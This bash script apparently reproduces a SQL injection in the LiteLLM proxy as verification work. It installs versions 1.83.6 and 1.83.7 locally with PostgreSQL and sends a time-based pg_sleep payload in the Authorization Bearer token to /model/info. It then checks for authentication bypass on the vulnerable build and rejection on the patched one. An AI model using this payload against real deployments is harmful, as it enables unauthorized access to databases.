#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

RESULT="inconclusive"
TARGET_REACHED=false
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
VULN_OK=false
FIXED_OK=false
PROXY_PORT=""
PG_PORT=""
VULN_TIME="0"
FIXED_TIME="0"
BASELINE_TIME="0"
VULN_CODE="000"
FIXED_CODE="000"
BASELINE_CODE="000"
CACHE_DIR="$ROOT/artifacts/litellm-cache"
REPO="$CACHE_DIR/repo"
PROOF_NOTES="run did not finish"

write_runtime_manifest() {
    local notes="$1"
    python3 - "$REPRO_DIR" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_REACHED" "$notes" <<'PY'
import json, os, sys
repro_dir, service_started, healthcheck_passed, target_reached, notes = sys.argv[1:6]
service_started = service_started == "true"
healthcheck_passed = healthcheck_passed == "true"
target_reached = target_reached == "true"
proof_candidates = [
    "logs/reproduction_steps.log",
    "logs/source_delta.txt",
    "logs/proxy_vulnerable.log",
    "logs/proxy_fixed.log",
    "logs/postgres_repro.log",
    "logs/vuln_key_generate.json",
    "logs/fixed_key_generate.json",
    "logs/baseline_unknown.txt",
    "logs/vulnerable_injection.txt",
    "logs/fixed_injection.txt",
    "repro/result.txt",
]
root = os.path.dirname(repro_dir)
proof = [p for p in proof_candidates if os.path.exists(os.path.join(root, p))]
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "GET /model/info with attacker-controlled Authorization Bearer token",
    "service_started": service_started,
    "healthcheck_passed": healthcheck_passed,
    "target_path_reached": target_reached,
    "runtime_stack": ["postgresql", "litellm-proxy"],
    "proof_artifacts": proof,
    "notes": notes,
}
with open(os.path.join(repro_dir, "runtime_manifest.json"), "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
print("[+] Wrote runtime manifest")
print(json.dumps(manifest, indent=2))
PY
}

copy_proof_carry() {
    # Reference-only best-effort proof carry for future runs when the prepared cache is enabled.
    if [[ -f "$ROOT/project_cache_context.json" ]] && jq -e '.proof_carry.enabled == true' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
        local carry_dir
        carry_dir="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json")/.pruva/proof-carry/latest_attempt"
        mkdir -p "$carry_dir/logs" "$carry_dir/repro" || true
        cp -f "$REPRO_DIR/reproduction_steps.sh" "$carry_dir/repro/" 2>/dev/null || true
        cp -f "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR/rca_report.md" "$REPRO_DIR/validation_verdict.json" "$REPRO_DIR/result.txt" "$carry_dir/repro/" 2>/dev/null || true
        cp -f "$LOGS/reproduction_steps.log" "$LOGS/source_delta.txt" "$LOGS/proxy_vulnerable.log" "$LOGS/proxy_fixed.log" "$LOGS/postgres_repro.log" "$carry_dir/logs/" 2>/dev/null || true
    fi
}

stop_proxy_by_log() {
    local log="$1"
    local pidfile="$log.pid"
    if [[ -f "$pidfile" ]]; then
        local pid
        pid="$(cat "$pidfile" 2>/dev/null || true)"
        if [[ -n "$pid" ]]; then
            kill "$pid" 2>/dev/null || true
            sleep 2
            kill -9 "$pid" 2>/dev/null || true
        fi
        rm -f "$pidfile"
    fi
}

cleanup() {
    set +e
    stop_proxy_by_log "$LOGS/proxy_vulnerable.log"
    stop_proxy_by_log "$LOGS/proxy_fixed.log"
    if [[ -n "${PG_BIN:-}" && -d "${PGDATA:-/nonexistent}" && -f "$PGDATA/postmaster.pid" ]]; then
        PATH="$PG_BIN:$PATH" pg_ctl -D "$PGDATA" stop -m fast >/dev/null 2>&1 || true
    fi
    if [[ "$RESULT" == "confirmed" ]]; then
        write_runtime_manifest "$PROOF_NOTES"
    elif [[ -f "$REPRO_DIR/runtime_manifest.json" ]]; then
        :
    else
        TARGET_REACHED=false
        write_runtime_manifest "reproduction ended before confirmation: $PROOF_NOTES"
    fi
    copy_proof_carry
}
trap cleanup EXIT

find_free_port() {
    python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
}

is_port_free() {
    local port="$1"
    python3 - "$port" <<'PY'
import socket, sys
port = int(sys.argv[1])
s = socket.socket()
try:
    rc = s.connect_ex(("127.0.0.1", port))
finally:
    s.close()
sys.exit(0 if rc != 0 else 1)
PY
}

load_cache_context() {
    if [[ -f "$ROOT/project_cache_context.json" ]] && jq -e '.prepared == true and (.project_cache_dir|type == "string")' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
        CACHE_DIR="$(jq -r '.project_cache_dir' "$ROOT/project_cache_context.json")"
        REPO="$CACHE_DIR/repo"
    else
        CACHE_DIR="$ROOT/artifacts/litellm-cache"
        REPO="$CACHE_DIR/repo"
    fi
    mkdir -p "$CACHE_DIR" "$ROOT/artifacts"
    echo "[+] Cache directory: $CACHE_DIR"
}

ensure_repo() {
    if [[ -d "$REPO/.git" ]]; then
        echo "[+] Reusing LiteLLM checkout at $REPO"
    else
        echo "[+] Cloning LiteLLM into deterministic cache path $REPO"
        rm -rf "$REPO"
        if [[ -f "$ROOT/project_cache_context.json" ]]; then
            local mirror
            mirror="$(jq -r '.repo_mirror_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
            if [[ -n "$mirror" && -d "$mirror/litellm.git" ]]; then
                git clone "$mirror/litellm.git" "$REPO"
            else
                git clone https://github.com/BerriAI/litellm.git "$REPO"
            fi
        else
            git clone https://github.com/BerriAI/litellm.git "$REPO"
        fi
    fi

    {
        echo "LiteLLM SQL injection patch evidence"
        echo "fixed_commit=4dc416ee749122ca91e3bca095217478663419e7"
        git -C "$REPO" show --format=fuller --no-patch 4dc416ee749122ca91e3bca095217478663419e7 || true
        echo
        git -C "$REPO" diff 4dc416ee749122ca91e3bca095217478663419e7^ 4dc416ee749122ca91e3bca095217478663419e7 -- litellm/proxy/utils.py | sed -n '1,140p' || true
    } > "$LOGS/source_delta.txt"
}

find_postgres_bin() {
    local bin=""
    bin="$(pg_config --bindir 2>/dev/null || true)"
    if [[ -z "$bin" || ! -x "$bin/initdb" ]]; then
        for d in /usr/lib/postgresql/*/bin; do
            if [[ -x "$d/initdb" ]]; then
                bin="$d"
                break
            fi
        done
    fi
    echo "$bin"
}

ensure_postgres() {
    PG_BIN="$(find_postgres_bin)"
    if [[ -z "$PG_BIN" || ! -x "$PG_BIN/initdb" ]]; then
        echo "[+] Installing PostgreSQL server packages"
        sudo apt-get update -qq
        sudo apt-get install -y -qq postgresql postgresql-client
        PG_BIN="$(find_postgres_bin)"
    fi
    if [[ -z "$PG_BIN" || ! -x "$PG_BIN/initdb" ]]; then
        echo "[-] PostgreSQL initdb was not found after installation"
        exit 2
    fi
    export PATH="$PG_BIN:$PATH"
    echo "[+] PostgreSQL binaries: $PG_BIN"
}

setup_postgres() {
    PGDATA="$CACHE_DIR/pglitellm_repro"
    PG_PORT="$(find_free_port)"
    export PATH="$PG_BIN:$PATH"
    local db_user="${USER:-$(whoami)}"

    if [[ -f "$PGDATA/postmaster.pid" ]]; then
        pg_ctl -D "$PGDATA" stop -m fast >/dev/null 2>&1 || true
        sleep 2
    fi
    if [[ ! -f "$PGDATA/PG_VERSION" ]]; then
        echo "[+] Initializing PostgreSQL data directory $PGDATA"
        rm -rf "$PGDATA"
        initdb -D "$PGDATA" -U "$db_user" --no-locale --encoding=UTF8 >/dev/null
    fi

    sed -i "/^port = /d;/^listen_addresses = /d;/^log_statement = /d;/^log_min_duration_statement = /d;/^unix_socket_directories = /d" "$PGDATA/postgresql.conf" 2>/dev/null || true
    {
        echo "listen_addresses = '127.0.0.1'"
        echo "port = $PG_PORT"
        echo "log_statement = 'all'"
        echo "log_min_duration_statement = 0"
        echo "unix_socket_directories = '$PGDATA'"
    } >> "$PGDATA/postgresql.conf"
    : > "$PGDATA/log"

    echo "[+] Starting PostgreSQL on 127.0.0.1:$PG_PORT"
    pg_ctl -D "$PGDATA" -l "$PGDATA/log" start >/dev/null
    cp "$PGDATA/log" "$LOGS/postgres_repro.log" 2>/dev/null || true

    for i in {1..30}; do
        if psql -h 127.0.0.1 -p "$PG_PORT" -U "$db_user" -d postgres -c "SELECT 1" >/dev/null 2>&1; then
            echo "[+] PostgreSQL is ready"
            break
        fi
        sleep 1
        if [[ "$i" == 30 ]]; then
            echo "[-] PostgreSQL did not become ready"
            exit 2
        fi
    done

    for db in litellm_repro_vuln litellm_repro_fixed; do
        if psql -h 127.0.0.1 -p "$PG_PORT" -U "$db_user" -d postgres -Atc "SELECT 1 FROM pg_database WHERE datname='$db'" | grep -q 1; then
            echo "[+] Reusing database $db"
        else
            createdb -h 127.0.0.1 -p "$PG_PORT" -U "$db_user" "$db"
            echo "[+] Created database $db"
        fi
    done
}

ensure_python_venv_support() {
    if python3 -m venv "$ROOT/artifacts/venv_test" >/dev/null 2>&1; then
        rm -rf "$ROOT/artifacts/venv_test"
        return
    fi
    echo "[+] Installing python3-venv"
    sudo apt-get update -qq
    sudo apt-get install -y -qq python3-venv
}

install_venv() {
    local version="$1"
    local venv="$2"
    if [[ -x "$venv/bin/python" ]] && "$venv/bin/python" - <<PY >/dev/null 2>&1
import importlib.metadata as m
assert m.version('litellm') == '$version'
import fastapi, uvicorn, prisma
PY
    then
        echo "[+] Reusing venv $(basename "$venv") with litellm==$version"
        return
    fi
    echo "[+] Creating venv $(basename "$venv") with litellm==$version"
    rm -rf "$venv"
    python3 -m venv "$venv"
    "$venv/bin/pip" install -q --upgrade pip setuptools wheel
    "$venv/bin/pip" install -q "litellm==$version" orjson
    "$venv/bin/pip" install -q --no-cache-dir \
        websockets fastapi uvicorn python-multipart PyJWT apscheduler \
        backoff boto3 cryptography pyyaml rich rq gunicorn mcp \
        email_validator fastapi_sso litellm-proxy-extras pynacl \
        azure-identity azure-storage-blob polars pyroscope-io soundfile \
        uvloop "prisma==0.11.0"
}

generate_and_push_schema() {
    local venv="$1"
    local db="$2"
    local schema
    schema="$(find "$venv" -path '*/site-packages/litellm/proxy/schema.prisma' -print -quit)"
    if [[ -z "$schema" ]]; then
        echo "[-] Could not find LiteLLM schema.prisma in $venv"
        exit 2
    fi
    export DATABASE_URL="postgresql://${USER:-$(whoami)}@127.0.0.1:$PG_PORT/$db"
    if psql -h 127.0.0.1 -p "$PG_PORT" -U "${USER:-$(whoami)}" -d "$db" -Atc "SELECT to_regclass('\"LiteLLM_VerificationToken\"')" 2>/dev/null | grep -q 'LiteLLM_VerificationToken'; then
        echo "[+] Prisma schema already present in $db; skipping slow db push"
    else
        echo "[+] Generating Prisma client for $(basename "$venv")"
        PATH="$venv/bin:$PATH" "$venv/bin/prisma" generate --schema "$schema" >/dev/null
        echo "[+] Pushing Prisma schema to $db"
        PATH="$venv/bin:$PATH" "$venv/bin/prisma" db push --schema "$schema" --accept-data-loss >/dev/null
    fi
    # Keep runtime attempts deterministic without rebuilding the whole schema.
    psql -h 127.0.0.1 -p "$PG_PORT" -U "${USER:-$(whoami)}" -d "$db" -c 'DELETE FROM "LiteLLM_VerificationToken";' >/dev/null 2>&1 || true
}

write_config() {
    CONFIG="$CACHE_DIR/litellm_repro_config.yaml"
    cat > "$CONFIG" <<'YAML'
model_list:
  - model_name: gpt-4o
    litellm_params:
      model: openai/gpt-4o
      api_key: os.environ/OPENAI_API_KEY

general_settings:
  disable_prisma_schema_update: true
YAML
}

start_proxy() {
    local venv="$1"
    local db="$2"
    local log="$3"
    local db_user="${USER:-$(whoami)}"
    PROXY_PORT="$(find_free_port)"
    local schema_dir
    schema_dir="$(find "$venv" -path '*/site-packages/litellm/proxy' -type d -print -quit)"
    : > "$log"
    echo "[+] Starting LiteLLM $("$venv/bin/python" -c 'import importlib.metadata as m; print(m.version("litellm"))') on 127.0.0.1:$PROXY_PORT using DB $db"
    (
        export PATH="$venv/bin:$PATH"
        export PYTHONOPTIMIZE=1
        export PYTHONUNBUFFERED=1
        export DATABASE_URL="postgresql://$db_user@127.0.0.1:$PG_PORT/$db"
        export LITELLM_MASTER_KEY="sk-repro-master-key"
        export OPENAI_API_KEY="sk-repro-fake-openai"
        cd "$schema_dir"
        exec stdbuf -oL -eL litellm --config "$CONFIG" --host 127.0.0.1 --port "$PROXY_PORT" > "$log" 2>&1
    ) &
    echo $! > "$log.pid"
    SERVICE_STARTED=true
}

wait_for_proxy() {
    local port="$1"
    local log="$2"
    echo -n "[+] Waiting for LiteLLM proxy on port $port"
    for _ in {1..180}; do
        local code
        code="$(curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:$port/health" --max-time 2 2>/dev/null || true)"
        if [[ -n "$code" && "$code" != "000" ]]; then
            echo " ready (HTTP $code)"
            HEALTHCHECK_PASSED=true
            return
        fi
        if grep -q "Application startup complete" "$log" 2>/dev/null; then
            echo " ready (startup log observed)"
            HEALTHCHECK_PASSED=true
            return
        fi
        sleep 1
        echo -n "."
    done
    echo " timeout"
    tail -120 "$log" || true
    exit 2
}

seed_key() {
    local port="$1"
    local outfile="$2"
    echo "[+] Creating one valid virtual key through the running proxy"
    curl -sS -X POST "http://127.0.0.1:$port/key/generate" \
        -H "Authorization: Bearer sk-repro-master-key" \
        -H "Content-Type: application/json" \
        -d '{"models":["gpt-4o"],"metadata":{"purpose":"pruva-sqli-repro"}}' \
        --max-time 20 \
        -o "$outfile"
    python3 -m json.tool "$outfile" >/dev/null
    jq -e '.key and .token' "$outfile" >/dev/null
}

# Returns "time,http_code" and writes response body to the given file.
request_model_info() {
    local port="$1"
    local token="$2"
    local outfile="$3"
    local metrics
    metrics="$(curl -sS -w "%{time_total},%{http_code}" \
        "http://127.0.0.1:$port/model/info" \
        -H "Authorization: Bearer $token" \
        --max-time 20 \
        -o "$outfile" 2>/dev/null || true)"
    echo "${metrics:-0,000}"
}

assert_package_delta() {
    local vuln_utils="$1"
    local fixed_utils="$2"
    if ! grep -q "WHERE v.token = '{token}'" "$vuln_utils"; then
        echo "[-] Vulnerable package does not contain the raw token interpolation hunk"
        exit 2
    fi
    if ! grep -q 'WHERE v.token = \$1' "$fixed_utils"; then
        echo "[-] Fixed package does not contain the parameterized token lookup hunk"
        exit 2
    fi
    echo "[+] Verified package delta: vulnerable raw SQL interpolation vs fixed parameter binding"
}

run_product_attempts() {
    local venv_vuln="$1"
    local venv_fixed="$2"
    local payload="' OR EXISTS(SELECT 1 FROM pg_sleep(3)) --"

    local vuln_utils fixed_utils
    vuln_utils="$(find "$venv_vuln" -path '*/site-packages/litellm/proxy/utils.py' -print -quit)"
    fixed_utils="$(find "$venv_fixed" -path '*/site-packages/litellm/proxy/utils.py' -print -quit)"
    assert_package_delta "$vuln_utils" "$fixed_utils"

    start_proxy "$venv_vuln" "litellm_repro_vuln" "$LOGS/proxy_vulnerable.log"
    wait_for_proxy "$PROXY_PORT" "$LOGS/proxy_vulnerable.log"
    seed_key "$PROXY_PORT" "$LOGS/vuln_key_generate.json"

    echo "[+] Baseline: unknown non-sk token should be rejected quickly by vulnerable proxy"
    local baseline_metrics
    baseline_metrics="$(request_model_info "$PROXY_PORT" "not-a-real-token" "$LOGS/baseline_unknown.txt")"
    BASELINE_TIME="${baseline_metrics%,*}"
    BASELINE_CODE="${baseline_metrics#*,}"
    echo "[+] Baseline vulnerable response: time=${BASELINE_TIME}s status=${BASELINE_CODE}"

    echo "[+] Exploit: sending SQL payload in Authorization Bearer token to vulnerable proxy"
    local vuln_metrics
    vuln_metrics="$(request_model_info "$PROXY_PORT" "$payload" "$LOGS/vulnerable_injection.txt")"
    VULN_TIME="${vuln_metrics%,*}"
    VULN_CODE="${vuln_metrics#*,}"
    echo "[+] Vulnerable injection response: time=${VULN_TIME}s status=${VULN_CODE}"
    stop_proxy_by_log "$LOGS/proxy_vulnerable.log"
    sleep 2

    start_proxy "$venv_fixed" "litellm_repro_fixed" "$LOGS/proxy_fixed.log"
    wait_for_proxy "$PROXY_PORT" "$LOGS/proxy_fixed.log"
    seed_key "$PROXY_PORT" "$LOGS/fixed_key_generate.json"

    echo "[+] Negative control: sending the identical SQL payload to fixed proxy"
    local fixed_metrics
    fixed_metrics="$(request_model_info "$PROXY_PORT" "$payload" "$LOGS/fixed_injection.txt")"
    FIXED_TIME="${fixed_metrics%,*}"
    FIXED_CODE="${fixed_metrics#*,}"
    echo "[+] Fixed injection response: time=${FIXED_TIME}s status=${FIXED_CODE}"
    stop_proxy_by_log "$LOGS/proxy_fixed.log"

    cp "$PGDATA/log" "$LOGS/postgres_repro.log" 2>/dev/null || true

    python3 - "$BASELINE_TIME" "$VULN_TIME" "$FIXED_TIME" "$BASELINE_CODE" "$VULN_CODE" "$FIXED_CODE" "$LOGS" <<'PY'
import json, os, sys
baseline_time, vuln_time, fixed_time = map(float, sys.argv[1:4])
baseline_code, vuln_code, fixed_code = sys.argv[4:7]
logs = sys.argv[7]
with open(os.path.join(logs, "vulnerable_injection.txt"), encoding="utf-8", errors="replace") as f:
    vuln_body = f.read()
with open(os.path.join(logs, "fixed_injection.txt"), encoding="utf-8", errors="replace") as f:
    fixed_body = f.read()
with open(os.path.join(logs, "postgres_repro.log"), encoding="utf-8", errors="replace") as f:
    pglog = f.read()
checks = {
    "baseline_rejected": baseline_code == "401" and baseline_time < 1.5,
    "vulnerable_delayed": vuln_time >= 2.5,
    "vulnerable_auth_bypassed": vuln_code == "200" and '"data"' in vuln_body,
    "fixed_rejected": fixed_code == "401" and "token_not_found_in_db" in fixed_body,
    "fixed_not_delayed": fixed_time < 1.5,
    "pglog_contains_injected_sleep": "pg_sleep(3)" in pglog and "WHERE v.token = '' OR EXISTS" in pglog,
    "pglog_contains_fixed_parameter": "Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(3)) --'" in pglog or "pg_sleep(3)) --'" in pglog,
}
print(json.dumps(checks, indent=2))
if not all(checks.values()):
    sys.exit(1)
PY
    VULN_OK=true
    FIXED_OK=true
    TARGET_REACHED=true
    RESULT="confirmed"
    PROOF_NOTES="Vulnerable LiteLLM 1.83.6 accepted a remote GET /model/info request with an injected Authorization token, PostgreSQL executed pg_sleep(3) from the interpolated WHERE clause, and the endpoint returned 200. LiteLLM 1.83.7 bound the same token as a positional SQL parameter, returned 401, and did not delay."
}

main() {
    echo "[+] LiteLLM Authorization-token SQL injection reproduction"
    echo "[+] This runs real LiteLLM proxy processes and sends network requests to GET /model/info."
    load_cache_context
    ensure_repo
    ensure_postgres
    setup_postgres
    ensure_python_venv_support

    local venv_base="$CACHE_DIR/venvs"
    mkdir -p "$venv_base"
    local venv_vuln="$venv_base/litellm_vuln_1_83_6"
    local venv_fixed="$venv_base/litellm_fixed_1_83_7"

    install_venv "1.83.6" "$venv_vuln"
    install_venv "1.83.7" "$venv_fixed"
    generate_and_push_schema "$venv_vuln" "litellm_repro_vuln"
    generate_and_push_schema "$venv_fixed" "litellm_repro_fixed"
    write_config
    run_product_attempts "$venv_vuln" "$venv_fixed"

    {
        echo "result=$RESULT"
        echo "baseline_time=$BASELINE_TIME"
        echo "baseline_code=$BASELINE_CODE"
        echo "vuln_injection_time=$VULN_TIME"
        echo "vuln_injection_code=$VULN_CODE"
        echo "fixed_injection_time=$FIXED_TIME"
        echo "fixed_injection_code=$FIXED_CODE"
        echo "proxy_port=$PROXY_PORT"
        echo "pg_port=$PG_PORT"
        echo "payload=Authorization: Bearer ' OR EXISTS(SELECT 1 FROM pg_sleep(3)) --"
        echo "vulnerable_version=litellm 1.83.6"
        echo "fixed_version=litellm 1.83.7"
        echo "fixed_commit=4dc416ee749122ca91e3bca095217478663419e7"
    } > "$REPRO_DIR/result.txt"

    write_runtime_manifest "$PROOF_NOTES"
    echo "[+] CONFIRMED"
}

main

if [[ "$RESULT" == "confirmed" ]]; then
    exit 0
else
    exit 1
fi